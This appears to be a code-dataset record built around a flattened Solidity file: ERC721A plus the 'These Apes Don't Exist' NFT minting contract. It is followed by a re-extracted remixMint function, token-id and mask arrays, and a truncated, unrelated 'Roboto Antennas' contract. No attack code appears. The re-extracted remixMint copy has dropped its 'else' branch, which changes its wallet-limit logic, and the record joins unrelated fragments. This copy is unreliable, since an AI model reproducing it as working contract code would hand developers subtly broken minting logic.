* @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev This is equivalent to _burn(tokenId, false) */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: contracts/TheseApesDontExist.sol pragma solidity ^0.8.0; /** ......... ....,:ccccccccc::;'.. ..'''... .''''.. ..;:cc:,. .,:;'. .';:;,;ccloooooooolllll:,. .','.'',:c;'. ..,;,'',:c,. .'',;:326,.. .;oddl;'. .';clooc;'...'',;;,''...',;:;.. .,;. ;c;,' .';c;. .;;,' .. ..'cc'.. .;l428c;. ..''..',;'. .... ..',. ':' .,,;,. .',,:;. .,;;. .'. .;;... .,cdoc;'. ... .'. .,:' .;,;;;. .,;:cc' .;,,;' .,' .',..... .':c:'.. .. ... .:;, ';::,:, .,:,;::. .,;;:, .,;. ....,,'. .,:,.. .'. ... .,',. .'';;,;. .::,;:,. .;;;;:' .;' .,c:,. ..;,. .,' . .. ,:,;,. .c:::,;;. .::,,:, .':;,;:. ... ..:c;,'. .',. .;' ..'',;;;,'..... ..... ';:;;' ,;;:,,:, 'c:,:. .;::::,. ..:cc;'.. .'. .':,. ....;cc104c::;;,,'''... .,,;;:. .:ccc:;' ;l::. .,;;,;;. .;clc:::,...... ..::. ...',,''....... ':;;;:;. ,c::;,;. .,,;. .,:c;,,;. .''',:loolc;,. ..,c,. ..''.. .,,;;,;, .;::,;,. .,;. ',:,';;' .'. .'::,.. .'::.. ..... ';',;,,;, .cl;;;,. .;c. .,;;,',:;. .;;. .'.. .',c;.. ... ':;,;,',:. .,::;:;.. ':. ,c::;,;;' .,c;. .. ...;:'. ........ .'cl;;;,;,. .,cc;;;;,...,;. .,;;;,;;;. ....,,. ... ...'','.. ..,;:::::;;;;;,'. .;;;;;,,;:, .:c;'','',,;' ';',;',;;;. .'cl:'... .,;;,,'''''''.. ...','''.. ....,;coodddol,. ,:c:;:;,;;. .:;,;;,;:;;. .;:c:;;;,,. .;42912;. ..;:12215ooll;. ...,;,;:,. ....',;::::;.. .;lc:l;;c:. ,ccc::cl:' ':lclo::;. .,cooc:;,. ..',;:cllc;.. ......... ............. .,,,;,;c;. .,;;cc:' .';:clc;. ..,;;,... ...'''.. ...... ..... .',;;'. .... ..... .... ... **/ /** * @title Remix Lab Experiment #1: These Apes Don't Exist (https://remixlab.xyz) * @author Mike Rundle (https://twitter.com/flyosity) * @notice This smart contract handles minting of this project's ERC721A token */ contract TheseApesDontExist is ERC721A, Ownable, Pausable { uint256 internal constant INITIAL_PRICE = 0.00 ether; uint256 internal constant PRICE_INCREMENT = 0.01 ether; uint256 internal constant MAX_FREE_PER_WALLET = 5; uint256 internal constant MAX_PER_WALLET = 20; uint256 internal constant MAX_TOKENS = 4444; string internal baseURI = "https://treeo.mypinata.cloud/ipfs/QmQSeKDpyCkG2n378V4QtXno44z6b5iZvEQxmKK4LYH5z5/"; string internal formattedName = "These Apes Don't Exist"; string internal description = "These Apes Don't Exist is a collection of high resolution (2048 x 2048px) " "AI-generated apes with hyper color blended visual traits imagined by " "a neural network trained on a cluster of datacenter-scale GPUs. All apes are 1/1."; uint256 internal currentPrice = INITIAL_PRICE; address internal accountSplit70 = 0xbd00A0213F3Ec9a5d3D0FEF5C76E9419105ee568; address internal accountSplit30 = 0x054128c9B9Eca6ECe2B09Fe60cb9e95934a5A679; uint256[] internal TOKEN_COUNT_PRICE_THRESHOLDS = [100, 200, 300, 400, 500, 600, 700, 800, 4244, 4344]; // CHANGE event PriceIncreased(uint256 oldPrice, uint256 newPrice); // # + # genesis constructor() ERC721A("These Apes Dont Exist", "RMXAPES") { _pause(); } // # + # minting /** * @notice Only works when contract is not paused. Quantity must be 1, 3, 5, or 10. Check current price first. * @param quantity Number of tokens to mint. Must be 1, 3, 5, or 10. */ function remixMint(uint256 quantity) external payable whenNotPaused { // Initial price is 0 and increases by 0.01 ETH every 100 tokens until reaching 0.08 ETH. // The price will remain at 0.08 ETH for nearly the remainder of the mint. // When only 200 tokens remain the price will increase once more to 0.09 ETH. // When only 100 tokens remain the price will update to the final price of 0.10 ETH. require(tx.origin == msg.sender, "Minting from another contract is not supported."); if (currentPrice == 0) { require(balanceOf(msg.sender) + quantity <= MAX_FREE_PER_WALLET, "The max a single wallet can mint when price is 0.00 ETH is 5. Once the price is higher than 0, the max a single wallet can mint is 20."); } else { require(balanceOf(msg.sender) + quantity <= MAX_PER_WALLET, "The max a single wallet can mint is 20."); } require(quantity == 1 || quantity == 3 || quantity == 5 || quantity == 10, "Invalid quantity: only 1, 3, 5, or 10 allowed."); require(totalSupply() + quantity <= MAX_TOKENS, "Sold out: no more tokens available to mint."); // If a collector mints 3 tokens #99, #100, and #101, we want to change the price for the *next* // collector but we will not charge the current minter who pushed the token count over a price // threshold any additional ether because they're a hero and we love them. require(msg.value >= (currentPrice * quantity), "Invalid payment: amount too low for quantity desired."); _updatePrice(quantity); _safeMint(msg.sender, quantity); } // # + # public external utility /** * @notice Mint price is dynamic. This function returns the current price. * @return price Current mint price in wei. */ function getCurrentPrice() external view returns (uint256 price) { return currentPrice; } /** * @notice How many tokens are left to be minted. * @return count How many tokens are left to be minted. */ function tokensRemaining() external view returns (uint256 count) { return MAX_TOKENS - _totalMinted(); } // # + # private internal utility /** * @notice Private function to update price from inside the contract. * @param quantityToMint How many tokens are about to be minted. */ function _updatePrice(uint256 quantityToMint) private { uint256 currentToken = _totalMinted(); uint256 endingToken = currentToken + quantityToMint; uint256 priceThresholdArrayLength = TOKEN_COUNT_PRICE_THRESHOLDS.length; for (uint256 i = 0; i < priceThresholdArrayLength; ++i) { if (TOKEN_COUNT_PRICE_THRESHOLDS[i] <= endingToken && TOKEN_COUNT_PRICE_THRESHOLDS[i] > currentToken) { // Quantity just minted spans across a token number that triggers a price increase currentPrice = currentPrice + PRICE_INCREMENT; emit PriceIncreased(currentPrice - PRICE_INCREMENT, currentPrice); break; } } } /** * @notice Private function to turn token ID into a string * @param _i Token ID being passed in * @return _uintAsString Token ID converted to string. */ function _uint2str(uint _i) private pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } // # + # private external utility /** * @notice Update a payout wallet address * @param newAddress New wallet address. */ function _setAccountSplit70Address(address newAddress) external onlyOwner { accountSplit70 = newAddress; } /** * @notice Update a payout wallet address * @param newAddress New wallet address. */ function _setAccountSplit30Address(address newAddress) external onlyOwner { accountSplit30 = newAddress; } /** * @notice Withdraw smart contract balance. */ function _withdraw() external onlyOwner { uint256 balance = address(this).balance; require(payable(accountSplit70).send(balance / 100 * 70)); require(payable(accountSplit30).send(balance / 100 * 30)); } /** * @notice Manual price set function, just in case something goes awry. * @param newPrice Updated mint price. */ function _setPrice(uint256 newPrice) external onlyOwner { currentPrice = newPrice; } /** * @notice Setting the base URI. * @param newBaseURI New base URI for the contract */ function _updateBaseURI(string memory newBaseURI) external onlyOwner { baseURI = newBaseURI; } /** * @notice Pause mint */ function _pauseMint() external onlyOwner { _pause(); } /** * @notice Unpause mint */ function _unPauseMint() external onlyOwner { _unpause(); } // # + # override /** * @return Start token ID */ function _startTokenId() internal pure override returns (uint256) { return 1; } /** * @return Base token URI */ function _baseURI() internal view override returns (string memory) { return baseURI; } /** * @notice Return the URI for a single token, base64 encoded * @param tokenId Token ID to generate a tokenURI for * @return string base64-encoded string */ function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); // No traits due to AI-generation so metadata can easily be on-chain string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "', formattedName, ' #', _uint2str(tokenId), '", "description": "', description, '", "image": "', baseURI, _uint2str(tokenId), '.png"}')))); return string(abi.encodePacked('data:application/json;base64,', json)); } // # + # fin }
* @notice Only works when contract is not paused. Quantity must be 1, 3, 5, or 10. Check current price first. @param quantity Number of tokens to mint. Must be 1, 3, 5, or 10./ Initial price is 0 and increases by 0.01 ETH every 100 tokens until reaching 0.08 ETH. The price will remain at 0.08 ETH for nearly the remainder of the mint. When only 200 tokens remain the price will increase once more to 0.09 ETH. When only 100 tokens remain the price will update to the final price of 0.10 ETH.
function remixMint(uint256 quantity) external payable whenNotPaused { require(tx.origin == msg.sender, "Minting from another contract is not supported."); if (currentPrice == 0) { require(balanceOf(msg.sender) + quantity <= MAX_FREE_PER_WALLET, "The max a single wallet can mint when price is 0.00 ETH is 5. Once the price is higher than 0, the max a single wallet can mint is 20."); require(balanceOf(msg.sender) + quantity <= MAX_PER_WALLET, "The max a single wallet can mint is 20."); } require(quantity == 1 || quantity == 3 || quantity == 5 || quantity == 10, "Invalid quantity: only 1, 3, 5, or 10 allowed."); require(totalSupply() + quantity <= MAX_TOKENS, "Sold out: no more tokens available to mint."); require(msg.value >= (currentPrice * quantity), "Invalid payment: amount too low for quantity desired."); _updatePrice(quantity); _safeMint(msg.sender, quantity); }
14,606,711
[ 1, 3386, 6330, 1347, 6835, 353, 486, 17781, 18, 18189, 1297, 506, 404, 16, 890, 16, 1381, 16, 578, 1728, 18, 2073, 783, 6205, 1122, 18, 225, 10457, 3588, 434, 2430, 358, 312, 474, 18, 6753, 506, 404, 16, 890, 16, 1381, 16, 578, 1728, 18, 19, 10188, 6205, 353, 374, 471, 7033, 3304, 635, 374, 18, 1611, 512, 2455, 3614, 2130, 2430, 3180, 9287, 310, 374, 18, 6840, 512, 2455, 18, 1021, 6205, 903, 7232, 622, 374, 18, 6840, 512, 2455, 364, 13378, 715, 326, 10022, 434, 326, 312, 474, 18, 5203, 1338, 4044, 2430, 7232, 326, 6205, 903, 10929, 3647, 1898, 358, 374, 18, 5908, 512, 2455, 18, 5203, 1338, 2130, 2430, 7232, 326, 6205, 903, 1089, 358, 326, 727, 6205, 434, 374, 18, 2163, 512, 2455, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 849, 697, 49, 474, 12, 11890, 5034, 10457, 13, 3903, 8843, 429, 1347, 1248, 28590, 288, 203, 203, 203, 3639, 2583, 12, 978, 18, 10012, 422, 1234, 18, 15330, 16, 315, 49, 474, 310, 628, 4042, 6835, 353, 486, 3260, 1199, 1769, 203, 203, 3639, 309, 261, 2972, 5147, 422, 374, 13, 288, 203, 5411, 2583, 12, 12296, 951, 12, 3576, 18, 15330, 13, 397, 10457, 1648, 4552, 67, 28104, 67, 3194, 67, 59, 1013, 15146, 16, 315, 1986, 943, 279, 2202, 9230, 848, 312, 474, 1347, 6205, 353, 374, 18, 713, 512, 2455, 353, 1381, 18, 12419, 326, 6205, 353, 10478, 2353, 374, 16, 326, 943, 279, 2202, 9230, 848, 312, 474, 353, 4200, 1199, 1769, 377, 203, 5411, 2583, 12, 12296, 951, 12, 3576, 18, 15330, 13, 397, 10457, 1648, 4552, 67, 3194, 67, 59, 1013, 15146, 16, 315, 1986, 943, 279, 2202, 9230, 848, 312, 474, 353, 4200, 1199, 1769, 377, 203, 3639, 289, 203, 203, 3639, 2583, 12, 16172, 422, 404, 747, 10457, 422, 890, 747, 10457, 422, 1381, 747, 10457, 422, 1728, 16, 315, 1941, 10457, 30, 1338, 404, 16, 890, 16, 1381, 16, 578, 1728, 2935, 1199, 1769, 203, 3639, 2583, 12, 4963, 3088, 1283, 1435, 397, 10457, 1648, 4552, 67, 8412, 55, 16, 315, 55, 1673, 596, 30, 1158, 1898, 2430, 2319, 358, 312, 474, 1199, 1769, 203, 203, 3639, 2583, 12, 3576, 18, 1132, 1545, 261, 2972, 5147, 380, 10457, 3631, 315, 1941, 5184, 30, 3844, 4885, 4587, 364, 10457, 6049, 1199, 1769, 203, 2 ]
//SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import 'base64-sol/base64.sol'; import './HexStrings.sol'; import './ToColor.sol'; //learn more: https://docs.openzeppelin.com/contracts/3.x/erc721 // GET LISTED ON OPENSEA: https://testnets.opensea.io/get-listed/step-two contract Antennas is ERC721Enumerable { using Strings for uint256; using HexStrings for uint160; using ToColor for bytes3; using Counters for Counters.Counter; Counters.Counter private _tokenIds; address payable public constant recipient = payable(0x8faC8383Bb69A8Ca43461AB99aE26834fd6D8DeC); uint256 public constant limit = 1000; uint256 public price = 5 ether; mapping (uint256 => bytes3) public color; constructor() ERC721("Roboto Antennas", "ROBOTOANT") { // RELEASE THE ROBOTO ANTENNAS! } function contractURI() public pure returns (string memory) { return "https://www.roboto-svg.com/antennas-metadata.json"; } function mintItem() public payable returns (uint256) { require(_tokenIds.current() < limit, "DONE MINTING"); require(msg.value >= price, "NOT ENOUGH"); _tokenIds.increment(); uint256 id = _tokenIds.current(); _mint(msg.sender, id); bytes32 genes = keccak256(abi.encodePacked( id, blockhash(block.number-1), msg.sender, address(this) )); color[id] = bytes2(genes[0]) | ( bytes2(genes[1]) >> 8 ) | ( bytes3(genes[2]) >> 16 ); (bool success, ) = recipient.call{value: msg.value}(""); require(success, "could not send"); return id; } function tokenURI(uint256 id) public view override returns (string memory) { require(_exists(id), "not exist"); string memory name = string(abi.encodePacked('Roboto Antennas #',id.toString())); string memory description = string(abi.encodePacked('Roboto Antennas with color #',color[id].toColor(),'.')); string memory image = Base64.encode(bytes(generateSVGofTokenById(id))); return string( abi.encodePacked( 'data:application/json;base64,', Base64.encode( bytes( abi.encodePacked( '{"name":"', name, '", "description":"', description, '", "external_url":"https://www.roboto-svg.com/antennas/', id.toString(), '", "attributes": [{"trait_type": "Color", "value": "#', color[id].toColor(), '"}], "owner":"', 